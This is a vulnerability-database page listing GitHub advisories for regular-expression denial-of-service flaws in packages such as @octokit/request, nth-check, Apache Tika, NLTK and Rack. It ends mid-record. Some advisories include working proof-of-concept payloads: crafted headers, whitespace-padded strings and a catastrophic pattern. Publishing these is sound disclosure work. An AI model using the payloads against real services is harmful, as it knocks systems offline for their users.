Common Weakness Enumeration

CWE-1333

Allowed

Inefficient Regular Expression Complexity

Abstraction: Base · Status: Draft

API response cwe.mitre.org

The product uses a regular expression with a worst-case computational complexity that is inefficient and possibly exponential.

760 vulnerabilities reference this CWE, most recent first.

GHSA-RMVR-2PP2-XJ38

Vulnerability from github – Published: 2025-02-14 18:00 – Updated: 2026-01-16 17:29
VLAI
Summary
@octokit/request has a Regular Expression in fetchWrapper that Leads to ReDoS Vulnerability Due to Catastrophic Backtracking
Details

Summary

The regular expression /<([^>]+)>; rel="deprecation"/ used to match the link header in HTTP responses is vulnerable to a ReDoS (Regular Expression Denial of Service) attack. This vulnerability arises due to the unbounded nature of the regex's matching behavior, which can lead to catastrophic backtracking when processing specially crafted input. An attacker could exploit this flaw by sending a malicious link header, resulting in excessive CPU usage and potentially causing the server to become unresponsive, impacting service availability.

Details

The vulnerability resides in the regular expression /<([^>]+)>; rel="deprecation"/, which is used to match the link header in HTTP responses. This regular expression captures content between angle brackets (<>) followed by ; rel="deprecation". However, the pattern is vulnerable to ReDoS (Regular Expression Denial of Service) attacks due to its susceptibility to catastrophic backtracking when processing malicious input. An attacker can exploit this vulnerability by sending a specially crafted link header designed to trigger excessive backtracking. For example, the following headers:

fakeHeaders.set("link", "<".repeat(100000) + ">");
fakeHeaders.set("deprecation", "true");

The crafted link header consists of 100,000 consecutive < characters followed by a closing >. This input forces the regular expression engine to backtrack extensively in an attempt to match the pattern. As a result, the server can experience a significant increase in CPU usage, which may lead to denial of service, making the server unresponsive or even causing it to crash under load. The issue is present in the following code:

const matches = responseHeaders.link && responseHeaders.link.match(/<([^>]+)>; rel="deprecation"/);

In this scenario, the link header value triggers the regex to perform excessive backtracking, resulting in resource exhaustion and potentially causing the service to become unavailable.

PoC

The gist of PoC.js 1. run npm i @octokit/request 2. run 'node poc.js' result: 3. then the program will stuck forever with high CPU usage

import { request } from "@octokit/request";
const originalFetch = globalThis.fetch;
globalThis.fetch = async (url, options) => {
  const response = await originalFetch(url, options);
  const fakeHeaders = new Headers(response.headers);
  fakeHeaders.set("link", "<".repeat(100000) + ">");
  fakeHeaders.set("deprecation", "true");
  return new Response(response.body, {
    status: response.status,
    statusText: response.statusText,
    headers: fakeHeaders
  });
};
request("GET /repos/octocat/hello-world")
  .then(response => {
    // console.log("[+] Response received:", response);
  })
  .catch(error => {
    // console.error("[-] Error:", error);
  });
// globalThis.fetch = originalFetch;

Impact

This is a Denial of Service (DoS) vulnerability caused by a ReDoS (Regular Expression Denial of Service) flaw. The vulnerability allows an attacker to craft a malicious link header that exploits the inefficient backtracking behavior of the regular expression used in the code. The primary impact is the potential for server resource exhaustion, specifically high CPU usage, which can cause the server to become unresponsive or even crash when processing the malicious request. This affects the availability of the service, leading to downtime or degraded performance. The vulnerability impacts any system that uses this specific regular expression to process link headers in HTTP responses. This can include: * Web applications or APIs that rely on parsing headers for deprecation information. * Users interacting with the affected service, as they may experience delays or outages if the server becomes overwhelmed. * Service providers who may face disruption in operations or performance degradation due to this flaw. If left unpatched, the vulnerability can be exploited by any unauthenticated user who is able to send a specially crafted HTTP request with a malicious link header, making it a low-barrier attack that could be exploited by anyone.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@octokit/request"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.0.0-beta.1"
            },
            {
              "fixed": "9.2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@octokit/request"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0"
            },
            {
              "fixed": "8.4.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-25290"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-02-14T18:00:18Z",
    "nvd_published_at": "2025-02-14T20:15:35Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nThe regular expression `/\u003c([^\u003e]+)\u003e; rel=\"deprecation\"/` used to match the `link` header in HTTP responses is vulnerable to a ReDoS (Regular Expression Denial of Service) attack. This vulnerability arises due to the unbounded nature of the regex\u0027s matching behavior, which can lead to catastrophic backtracking when processing specially crafted input. An attacker could exploit this flaw by sending a malicious `link` header, resulting in excessive CPU usage and potentially causing the server to become unresponsive, impacting service availability.\n### Details\nThe vulnerability resides in the regular expression `/\u003c([^\u003e]+)\u003e; rel=\"deprecation\"/`, which is used to match the `link` header in HTTP responses. This regular expression captures content between angle brackets (`\u003c\u003e`) followed by `; rel=\"deprecation\"`. However, the pattern is vulnerable to ReDoS (Regular Expression Denial of Service) attacks due to its susceptibility to catastrophic backtracking when processing malicious input.\nAn attacker can exploit this vulnerability by sending a specially crafted `link` header designed to trigger excessive backtracking. For example, the following headers:\n```js\nfakeHeaders.set(\"link\", \"\u003c\".repeat(100000) + \"\u003e\");\nfakeHeaders.set(\"deprecation\", \"true\");\n```\nThe crafted `link` header consists of 100,000 consecutive `\u003c` characters followed by a closing `\u003e`. This input forces the regular expression engine to backtrack extensively in an attempt to match the pattern. As a result, the server can experience a significant increase in CPU usage, which may lead to denial of service, making the server unresponsive or even causing it to crash under load.\nThe issue is present in the following code:\n```js\nconst matches = responseHeaders.link \u0026\u0026 responseHeaders.link.match(/\u003c([^\u003e]+)\u003e; rel=\"deprecation\"/);\n```\nIn this scenario, the `link` header value triggers the regex to perform excessive backtracking, resulting in resource exhaustion and potentially causing the service to become unavailable.\n\n### PoC\n[The gist of PoC.js](https://gist.github.com/ShiyuBanzhou/2afdabf0fc4cb6cfbd3b1d58b6082f6a)\n1. run npm i @octokit/request\n2. run \u0027node poc.js\u0027\nresult:\n3. then the program will stuck forever with high CPU usage\n```js\nimport { request } from \"@octokit/request\";\nconst originalFetch = globalThis.fetch;\nglobalThis.fetch = async (url, options) =\u003e {\n  const response = await originalFetch(url, options);\n  const fakeHeaders = new Headers(response.headers);\n  fakeHeaders.set(\"link\", \"\u003c\".repeat(100000) + \"\u003e\");\n  fakeHeaders.set(\"deprecation\", \"true\");\n  return new Response(response.body, {\n    status: response.status,\n    statusText: response.statusText,\n    headers: fakeHeaders\n  });\n};\nrequest(\"GET /repos/octocat/hello-world\")\n  .then(response =\u003e {\n    // console.log(\"[+] Response received:\", response);\n  })\n  .catch(error =\u003e {\n    // console.error(\"[-] Error:\", error);\n  });\n// globalThis.fetch = originalFetch;\n```\n### Impact\nThis is a *Denial of Service (DoS) vulnerability* caused by a *ReDoS (Regular Expression Denial of Service)* flaw. The vulnerability allows an attacker to craft a malicious `link` header that exploits the inefficient backtracking behavior of the regular expression used in the code.\nThe primary impact is the potential for *server resource exhaustion*, specifically high CPU usage, which can cause the server to become unresponsive or even crash when processing the malicious request. This affects the availability of the service, leading to downtime or degraded performance.\nThe vulnerability impacts any system that uses this specific regular expression to process `link` headers in HTTP responses. This can include:\n* Web applications or APIs that rely on parsing headers for deprecation information.\n* Users interacting with the affected service, as they may experience delays or outages if the server becomes overwhelmed.\n* Service providers who may face disruption in operations or performance degradation due to this flaw.\nIf left unpatched, the vulnerability can be exploited by any unauthenticated user who is able to send a specially crafted HTTP request with a malicious `link` header, making it a low-barrier attack that could be exploited by anyone.",
  "id": "GHSA-rmvr-2pp2-xj38",
  "modified": "2026-01-16T17:29:36Z",
  "published": "2025-02-14T18:00:18Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/octokit/request.js/security/advisories/GHSA-rmvr-2pp2-xj38"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-25290"
    },
    {
      "type": "WEB",
      "url": "https://github.com/octokit/request.js/commit/34ff07ee86fc5c20865982d77391bc910ef19c68"
    },
    {
      "type": "WEB",
      "url": "https://github.com/octokit/request.js/commit/356411e3217019aa9fc8a68f4236af82490873c2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/octokit/request.js/commit/6bb29ba92a52f7bf94469c3433707c682c17126c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/octokit/request.js"
    },
    {
      "type": "WEB",
      "url": "https://github.com/octokit/request.js/releases/tag/v8.4.1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/octokit/request.js/releases/tag/v9.2.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "@octokit/request has a Regular Expression in fetchWrapper that Leads to ReDoS Vulnerability Due to Catastrophic Backtracking"
}

GHSA-RP65-9CF3-CJXR

Vulnerability from github – Published: 2021-09-20 20:47 – Updated: 2023-09-13 21:49
VLAI
Summary
Inefficient Regular Expression Complexity in nth-check
Details

There is a Regular Expression Denial of Service (ReDoS) vulnerability in nth-check that causes a denial of service when parsing crafted invalid CSS nth-checks.

The ReDoS vulnerabilities of the regex are mainly due to the sub-pattern \s*(?:([+-]?)\s*(\d+))? with quantified overlapping adjacency and can be exploited with the following code.

Proof of Concept

// PoC.js
var nthCheck = require("nth-check")
for(var i = 1; i <= 50000; i++) {
    var time = Date.now();
    var attack_str = '2n' + ' '.repeat(i*10000)+"!";
    try {
        nthCheck.parse(attack_str) 
    }
    catch(err) {
        var time_cost = Date.now() - time;
        console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
    }
}

The Output

attack_str.length: 10003: 174 ms
attack_str.length: 20003: 1427 ms
attack_str.length: 30003: 2602 ms
attack_str.length: 40003: 4378 ms
attack_str.length: 50003: 7473 ms
Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "nth-check"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-3803"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-09-20T20:15:09Z",
    "nvd_published_at": "2021-09-17T07:15:00Z",
    "severity": "HIGH"
  },
  "details": "There is a Regular Expression Denial of Service (ReDoS) vulnerability in nth-check that causes a denial of service when parsing crafted invalid CSS nth-checks.\n\nThe ReDoS vulnerabilities of the regex are mainly due to the sub-pattern `\\s*(?:([+-]?)\\s*(\\d+))?` with quantified overlapping adjacency and can be exploited with the following code.\n\n**Proof of Concept**\n```js\n// PoC.js\nvar nthCheck = require(\"nth-check\")\nfor(var i = 1; i \u003c= 50000; i++) {\n    var time = Date.now();\n    var attack_str = \u00272n\u0027 + \u0027 \u0027.repeat(i*10000)+\"!\";\n    try {\n        nthCheck.parse(attack_str) \n    }\n    catch(err) {\n        var time_cost = Date.now() - time;\n        console.log(\"attack_str.length: \" + attack_str.length + \": \" + time_cost+\" ms\")\n    }\n}\n```\n\n**The Output**\n```\nattack_str.length: 10003: 174 ms\nattack_str.length: 20003: 1427 ms\nattack_str.length: 30003: 2602 ms\nattack_str.length: 40003: 4378 ms\nattack_str.length: 50003: 7473 ms\n```",
  "id": "GHSA-rp65-9cf3-cjxr",
  "modified": "2023-09-13T21:49:54Z",
  "published": "2021-09-20T20:47:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-3803"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fb55/nth-check/commit/9894c1d2010870c351f66c6f6efcf656e26bb726"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/fb55/nth-check"
    },
    {
      "type": "WEB",
      "url": "https://huntr.dev/bounties/8cf8cc06-d2cf-4b4e-b42c-99fafb0b04d0"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2023/05/msg00023.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Inefficient Regular Expression Complexity in nth-check"
}

GHSA-RPJM-422R-95MH

Vulnerability from github – Published: 2022-05-17 00:00 – Updated: 2025-09-02 22:23
VLAI
Summary
Regular expression denial of service in apache tika
Details

In Apache Tika, a regular expression in our StandardsText class, used by the StandardsExtractingContentHandler could lead to a denial of service caused by backtracking on a specially crafted file. This only affects users who are running the StandardsExtractingContentHandler, which is a non-standard handler.

This was originally fixed in 1.28.2 and 2.4.0. While the fix in version 2.4.0 was complete, the fix for the 1.x branch wasn't incorporated until version 1.28.3. Please see GHSA-qw3f-w4pf-jh5f for more information.

Severity
5.5 (Medium)
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.tika:tika-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.17"
            },
            {
              "fixed": "1.28.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.tika:tika-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-30126"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-05-25T19:29:25Z",
    "nvd_published_at": "2022-05-16T17:15:00Z",
    "severity": "MODERATE"
  },
  "details": "In Apache Tika, a regular expression in our StandardsText class, used by the StandardsExtractingContentHandler could lead to a denial of service caused by backtracking on a specially crafted file. This only affects users who are running the StandardsExtractingContentHandler, which is a non-standard handler.\n\nThis was originally fixed in 1.28.2 and 2.4.0. While the fix in version 2.4.0 was complete, the fix for the 1.x branch wasn\u0027t incorporated until version 1.28.3. Please see GHSA-qw3f-w4pf-jh5f for more information.",
  "id": "GHSA-rpjm-422r-95mh",
  "modified": "2025-09-02T22:23:08Z",
  "published": "2022-05-17T00:00:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-30126"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/tika/commit/83b0de4d60161ebd4bc224141a959ac8c18d95f4"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/tika/commit/a36711610fa1f6f5ba0f594803415af795e0b265"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/tika/commit/e76302196ebcafb7b51fce37fbe8256e6c0fbc51"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-qw3f-w4pf-jh5f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apache/tika"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/dh3syg68nxogbmlg13srd6gjn3h2z6r4"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20220624-0004"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpujul2022.html"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2022/05/16/3"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2022/05/31/2"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2022/06/27/5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Regular expression denial of service in apache tika"
}

GHSA-RQ2Q-4R55-9877

Vulnerability from github – Published: 2026-04-14 23:13 – Updated: 2026-04-27 15:02
VLAI
Summary
Giskard has a Regular Expression Denial of Service (ReDoS) in RegexMatching Check
Details

Summary

The RegexMatching check in the giskard-checks package passes a user-supplied regular expression pattern directly to Python's re.search() without any timeout, complexity guard, or pattern validation. An attacker who can control the regex pattern or the text being matched can craft inputs that trigger catastrophic backtracking in the regex engine, causing the process to hang indefinitely and denying service to all other operations.

giskard-checks is a local developer testing library. Check definitions, including the pattern parameter, are provided in application code or configuration files and executed locally. Exploitation requires write access to a check definition and subsequent execution of the test suite. The absence of a regex timeout could cause availability issues in automated environments such as CI/CD pipelines.

Affected component

text_matching.py, line 457: re.search(pattern, text)

Remediation

Upgrade to giskard-checks >= 1.0.2b1.

Credit

Giskard-AI thanks @dhabaleshwar for identifying the missing timeout on regex evaluation.

Severity
5.5 (Medium)
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
1.0 (Low)
CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:N/VI:N/VA:L/SC:N/SI:N/SA:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.0.1b1"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "giskard-checks"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.0.2b1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-40319"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-14T23:13:39Z",
    "nvd_published_at": "2026-04-17T18:16:32Z",
    "severity": "LOW"
  },
  "details": "## Summary\nThe RegexMatching check in the `giskard-checks` package passes a user-supplied regular expression pattern directly to Python\u0027s re.search() without any timeout, complexity guard, or pattern validation. An attacker who can control the regex pattern or the text being matched can craft inputs that trigger catastrophic backtracking in the regex engine, causing the process to hang indefinitely and denying service to all other operations. \n\n`giskard-checks` is a local developer testing library. Check definitions, including the pattern parameter, are provided in application code or configuration files and executed locally. Exploitation requires write access to a check definition and subsequent execution of the test suite. The absence of a regex timeout could cause availability issues in automated environments such as CI/CD pipelines.\n\n## Affected component\n \n`text_matching.py`, line 457: `re.search(pattern, text)`\n \n## Remediation\n \nUpgrade to `giskard-checks` \u003e= 1.0.2b1.\n \n## Credit\n \nGiskard-AI thanks @dhabaleshwar for identifying the missing timeout on regex evaluation.",
  "id": "GHSA-rq2q-4r55-9877",
  "modified": "2026-04-27T15:02:29Z",
  "published": "2026-04-14T23:13:39Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Giskard-AI/giskard-oss/security/advisories/GHSA-rq2q-4r55-9877"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40319"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Giskard-AI/giskard-oss"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Giskard-AI/giskard-oss/releases/tag/giskard-checks%2Fv1.0.2b1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:N/VI:N/VA:L/SC:N/SI:N/SA:L",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Giskard has a Regular Expression Denial of Service (ReDoS) in RegexMatching Check"
}

GHSA-RQJH-JP2R-59CJ

Vulnerability from github – Published: 2022-01-06 22:24 – Updated: 2024-09-26 14:14
VLAI
Summary
NLTK Vulnerable to REDoS
Details

NLTK is vulnerable to REDoS in some RegexpTaggers used in the functions get_pos_tagger and malt_regex_tagger.

Severity
7.5 (High)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "nltk"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.6.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-3842"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-01-06T19:53:00Z",
    "nvd_published_at": "2022-01-04T15:15:00Z",
    "severity": "HIGH"
  },
  "details": "NLTK is vulnerable to REDoS in some RegexpTaggers used in the functions `get_pos_tagger` and `malt_regex_tagger`.",
  "id": "GHSA-rqjh-jp2r-59cj",
  "modified": "2024-09-26T14:14:41Z",
  "published": "2022-01-06T22:24:14Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-3842"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nltk/nltk/pull/2906"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nltk/nltk/commit/2a50a3edc9d35f57ae42a921c621edc160877f4d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nltk/nltk"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2022-5.yaml"
    },
    {
      "type": "WEB",
      "url": "https://huntr.dev/bounties/761a761e-2be2-430a-8d92-6f74ffe9866a"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "NLTK Vulnerable to REDoS"
}

GHSA-RQPX-F6RC-7HM5

Vulnerability from github – Published: 2025-06-19 16:19 – Updated: 2025-06-20 14:20
VLAI
Summary
PowSyBl Core contains Polynomial REDoS’es
Details

Impact

What kind of vulnerability is it? Who is impacted?

This is an advisory for a potential polynomial Regular Expression Denial of Service (ReDoS) vulnerability in the PowSyBl's DataSource mechanism. When the listNames(String regex) method is called on a DataSource, the user-supplied regular expression (which may be unvalidated) is compiled and evaluated against a collection of file-like resource names.

To trigger a polynomial ReDoS via this mechanism, two attacker-controlled conditions must be met: - Control over the regex input passed into listNames(String regex). - Example: An attacker supplies a malicious pattern like (.*a){10000}. - Control or influence over the file/resource names being matched. - Example: Filenames such as "aaaa...!" that induce regex engine backtracking.

If both conditions are satisfied, a malicious actor can cause significant CPU consumption due to regex backtracking — even with polynomial patterns. Since both inputs can be controlled via a publicly accessible method or external filesystem handling, the listNames(String regex) method is considered vulnerable to polynomial REDoS.

Unlike classic catastrophic exponential ReDoS, this subtle attack exploits a greedy .* prefix followed by a fixed suffix, repeated multiple times.
When applied to long filenames that almost match the pattern, the regex engine performs extensive backtracking, degrading performance predictably with input size. In a multi-tenant environment, an attacker can degrade the performance - and thereby the availability - of the server to an extent that it affects other users of the application. This can for example be useful if an attacker wants to delay other users in a scenario where a time advantage can be a competitive advantage.
A tricky part in this is that the attacker needs to control both the pattern and the input which may not always be the case.

Am I impacted?

You are vulnerable if you make direct calls to the listNames(String regex) method on a class implementing the ReadOnlyDataSource interface, don't control the regular expression used as regex parameter, and if this datasource points to an archive or directory where an untrusted user may edit the filenames. For instance, this could be the case if you want to list the files made available by a datasource which names respect a user-provided regular expression. Note that only direct calls to this method are concerned. There are several usages of this method in powsybl, but the provided regular expressions are all hardcoded and therefore cannot be provided by a malicious user.

Patches

com.powsybl:powsybl-commons:6.7.2 and higher

References

powsybl-core v6.7.2

Severity
6.3 (Medium)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 6.7.1"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "com.powsybl:powsybl-commons"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.7.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-48058"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-06-19T16:19:33Z",
    "nvd_published_at": "2025-06-20T01:15:38Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nThis is an advisory for a **potential polynomial Regular Expression Denial of Service (ReDoS)** vulnerability in the PowSyBl\u0027s DataSource mechanism. When the `listNames(String regex)` method is called on a DataSource, the user-supplied regular expression (which may be unvalidated) is compiled and evaluated against a collection of file-like resource names.\n\nTo trigger a **polynomial ReDoS** via this mechanism, **two attacker-controlled conditions** must be met:\n- **Control over the regex input** passed into `listNames(String regex)`.\n  - _Example:_ An attacker supplies a malicious pattern like `(.*a){10000}`.\n- **Control or influence over the file/resource names** being matched.\n  - _Example:_ Filenames such as `\"aaaa...!\"` that induce regex engine backtracking.\n\nIf both conditions are satisfied, a malicious actor can cause **significant CPU consumption** due to regex backtracking \u2014 even\nwith polynomial patterns. Since both inputs can be controlled via a publicly accessible method or external filesystem handling,\nthe `listNames(String regex)` method is considered vulnerable to polynomial **REDoS**.\n\nUnlike classic _catastrophic exponential_ ReDoS, this subtle attack exploits a greedy `.*` prefix followed by a fixed suffix, repeated multiple times.  \nWhen applied to long filenames that almost match the pattern, the regex engine performs extensive backtracking, degrading performance predictably with input size. In a multi-tenant environment, an attacker can degrade the performance - and thereby the availability - of the server to an extent that it affects other users of the application. This can for example be useful if an attacker wants to delay other users in a scenario where a time advantage can be a competitive advantage.  \nA tricky part in this is that the attacker needs to control both the pattern and the input which may not always be the case.\n\n#### Am I impacted?\nYou are vulnerable if you make direct calls to the `listNames(String regex)` method on a class implementing the `ReadOnlyDataSource` interface, don\u0027t control the regular expression used as `regex` parameter, and if this datasource points to an archive or directory where an untrusted user may edit the filenames.\nFor instance, this could be the case if you want to list the files made available by a datasource which names respect a user-provided regular expression.\nNote that only direct calls to this method are concerned. There are several usages of this method in powsybl, but the provided regular expressions are all hardcoded and therefore cannot be provided by a malicious user.\n\n### Patches\ncom.powsybl:powsybl-commons:6.7.2 and higher\n\n### References\n[powsybl-core v6.7.2](https://github.com/powsybl/powsybl-core/releases/tag/v6.7.2)",
  "id": "GHSA-rqpx-f6rc-7hm5",
  "modified": "2025-06-20T14:20:59Z",
  "published": "2025-06-19T16:19:33Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/powsybl/powsybl-core/security/advisories/GHSA-rqpx-f6rc-7hm5"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-48058"
    },
    {
      "type": "WEB",
      "url": "https://github.com/powsybl/powsybl-core/commit/72f79dec6d4292f892fbddd68a19c67935c7d81f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/powsybl/powsybl-core"
    },
    {
      "type": "WEB",
      "url": "https://github.com/powsybl/powsybl-core/releases/tag/v6.7.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "PowSyBl Core contains Polynomial REDoS\u2019es"
}

GHSA-RQV2-275X-2JQ5

Vulnerability from github – Published: 2023-01-18 18:19 – Updated: 2023-10-23 19:17
VLAI
Summary
Denial of service via multipart parsing in Rack
Details

There is a denial of service vulnerability in the multipart parsing component of Rack. This vulnerability has been assigned the CVE identifier CVE-2022-44572.

Versions Affected: >= 2.0.0 Not affected: None. Fixed Versions: 2.0.9.2, 2.1.4.2, 2.2.6.1, 3.0.0.1 Impact

Carefully crafted input can cause RFC2183 multipart boundary parsing in Rack to take an unexpected amount of time, possibly resulting in a denial of service attack vector. Any applications that parse multipart posts using Rack (virtually all Rails applications) are impacted. Releases

The fixed releases are available at the normal locations. Workarounds

There are no feasible workarounds for this issue. Patches

To aid users who aren’t able to upgrade immediately we have provided patches for the two supported release series. They are in git-am format and consist of a single changeset.

2-0-Forbid-control-characters-in-attributes.patch - Patch for 2.0 series
2-1-Forbid-control-characters-in-attributes.patch - Patch for 2.1 series
2-2-Forbid-control-characters-in-attributes.patch - Patch for 2.2 series
3-0-Forbid-control-characters-in-attributes.patch - Patch for 3.0 series
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "rack"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.0.9.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "rack"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.1.0.0"
            },
            {
              "fixed": "2.1.4.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "rack"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.2.0.0"
            },
            {
              "fixed": "2.2.6.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "rack"
      },
